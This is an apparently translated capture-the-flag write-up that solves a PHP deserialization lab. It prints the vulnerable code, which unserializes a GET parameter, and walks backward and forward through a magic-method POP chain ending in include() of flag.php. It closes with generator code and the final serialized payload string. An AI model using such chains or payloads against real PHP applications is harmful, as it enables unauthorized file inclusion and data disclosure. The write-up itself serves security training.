A pop chain structure for a php deserialization question

The topic address is: GitHub - mcc0624/php_ser_Class: php deserialization shooting range

Click to enter the following questions

The code of the topic is as follows, which calls the magic method many times like a nesting doll, which is quite brain-burning. According to the topic, obviously the target is echo $flag

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

Questions like this need to be analyzed using the target inversion method:

  1. The target triggers the echo to output the flag, you need to make $value=flag.php, and then call append(flag.php), invoke calls append
  2. Trigger invoke and call append(). And make $var=flag.php. Trigger invoke condition: treat the object as a function. _get returns a function
  3. If the p attribute in Test = new Modifier, __invoke will be triggered. So how to trigger __get? Triggered when the called member attribute does not exist.
  4. Let $str=New Test() in Show, if source does not exist in Test, __get will be triggered. How does that trigger __toString? Triggered when the object is called as a string
  5. Let source=new Show() in __wakeup, then trigger __toString. How to trigger __wakeup? Deserialization triggers

After analyzing backwards, then push forward:

  1. Deserialization triggers wakeup() for Show objects
  2. And let the source attribute in the show object = new show(), output the object as a string, and trigger tostring
  3. Then let the str attribute of the Show object = New Test(), the attribute source does not exist in Test, and trigger __get().
  4. Let the $p attribute in the Test object = new Modifier(), return the object as a function, and trigger __invoke
  5. Let the private var attribute of the Modifier object be =flag.php, call the append function, and output flag

Finally, we use code to realize the construction of the pop chain

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

Then access and output the deserialized string

Need to change var to private property

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

Finally submit the deserialized string and get the flag

Guess you like

Origin blog.csdn.net/qq_44159028/article/details/130770713